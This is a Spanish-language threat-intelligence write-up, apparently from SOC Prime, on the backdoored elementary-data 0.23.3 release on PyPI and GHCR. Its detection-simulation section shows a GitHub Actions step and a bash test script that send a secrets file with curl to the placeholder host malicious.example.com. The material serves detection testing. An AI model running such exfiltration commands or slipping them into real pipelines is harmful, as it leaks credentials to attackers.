SOC Prime Bias: Crítico

29 Apr 2026 14:42 UTC

Datos de Elementary comprometidos en PyPI y GHCR a través de lanzamiento falso de GitHub

Author Photo
SOC Prime Team linkedin icon Seguir
Datos de Elementary comprometidos en PyPI y GHCR a través de lanzamiento falso de GitHub
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumen

Una versión maliciosa del paquete de elementary-data Python, versión 0.23.3, fue subida a PyPI, mientras que una imagen de contenedor comprometida coincidente también fue enviada a GitHub Container Registry. El atacante insertó código malicioso en un flujo de trabajo de GitHub Actions, forjó un lanzamiento firmado y luego abusó del token del flujo de trabajo para publicar los artefactos con puerta trasera. El payload funcionaba como un ladrón de credenciales en tres etapas diseñado para recopilar secretos y exfiltrarlos a un dominio controlado por el atacante. Cualquier entorno que instalara el paquete afectado o descargara la última imagen del contenedor estaba expuesto a la posibilidad de compromiso.

Investigación

La investigación encontró que el ataque comenzó con un comentario en una solicitud de extracción abierta que se insertó directamente en un script de flujo de trabajo, permitiendo la inyección de script. Usando el GITHUB_TOKENdel flujo de trabajo, el atacante creó un commit de lanzamiento falso y activó el proceso de publicación, que luego distribuyó el paquete .wheel troyanizado y la imagen de Docker. El análisis mostró que un archivo malicioso .pth decodificó un envoltorio Base64, descifró el componente final de recolección y recolectó un amplio conjunto de credenciales antes de enviarlas a un dominio de comando y control personalizado a través de curl.

Mitigación

Los mantenedores del proyecto eliminaron la versión maliciosa del paquete de PyPI y borraron la imagen comprometida de GHCR antes de publicar un reemplazo limpio, la versión 0.23.4. StepSecurity agregó la versión maliciosa del paquete y el dominio controlado por el atacante a la lista de bloqueo de Harden-Runner y bloqueó el paquete durante la ejecución de la solicitud de extracción. Los desarrolladores deben fijar versiones exactas de paquetes y digests de imágenes, evitar depender de etiquetas flotantes y auditar las dependencias instaladas en busca de .pth archivos

inesperados.

Los defensores deben buscar la presencia de elementary.pth dentro de site-packages e identificar los sistemas que descargaron el digest de la imagen de Docker sospechosa. Las conexiones salientes al dominio de comando y control conocido deben bloquearse de inmediato. Los equipos de seguridad deben escanear estaciones de trabajo de desarrolladores y entornos de construcción en busca de material secreto expuesto, eliminar cualquier paquete comprometido y rotar las credenciales afectadas. Las líneas CI/CD también deben actualizarse para validar la procedencia de los paquetes y aplicar un fijado estricto de imágenes.

Flujo de Ataque

## Ejecución de Simulación

Requisito previo: La Verificación Previa de Telemetría y Línea Base debe haber pasado.

Justificación: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para activar la regla de detección. Los comandos y narrativas reflejan directamente los TTPs identificados y tienen como objetivo generar la telemetría exacta esperada por la lógica de detección.

  • Narrativa del Ataque y Comandos:
    Un atacante ha comprometido un repositorio que usa GitHub Actions para CI/CD. Agregan un paso malicioso al archivo del flujo de trabajo:

    - nombre: Exfiltrar datos
      ejecutar: |
        bash -c "curl --data-binary @/tmp/secret_data http://malicious.example.com/loot"

    Cuando el flujo de trabajo se ejecuta en el corredor de GitHub Actions, el árbol de procesos se ve como:

    1. sh -c bash -c "curl --data-binary @/tmp/secret_data http://malicious.example.com/loot"
    2. bash -c "curl --data-binary @/tmp/secret_data http://malicious.example.com/loot" (proceso padre)
    3. curl --data-binary @/tmp/secret_data http://malicious.example.com/loot (proceso hijo)

    The auditd registro para el paso 2 contiene una línea de comandos con ambos bash and curl --data-binary, satisfaciendo la condición Sigma.

  • Script de Prueba de Regresión:

    #!/usr/bin/env bash
    #
    # Simulate the malicious GitHub Actions step that should trigger the detection rule.
    # Creates a temporary file, writes dummy data, then exfiltrates it via curl wrapped in bash.
    
    set -euo pipefail
    
    # 1. Create dummy secret data
    tmpfile=$(mktemp /tmp/secret_data.XXXXXX)
    echo "sensitive_information_$(date +%s)" > "$tmpfile"
    
    # 2. Perform the exfiltration using the vulnerable pattern
    bash -c "curl --data-binary @$tmpfile http://malicious.example.com/loot"
    
    # 3. Output confirmation for the tester
    echo "Malicious exfiltration simulated; temp file $tmpfile should be deleted by cleanup."
  • Comandos de Limpieza:

    #!/usr/bin/env bash
    # Remove any temporary files created during the simulation
    rm -f /tmp/secret_data.*
    
    # Optionally, stop any lingering curl processes (should not be needed)
    pkill -f "curl --data-binary" || true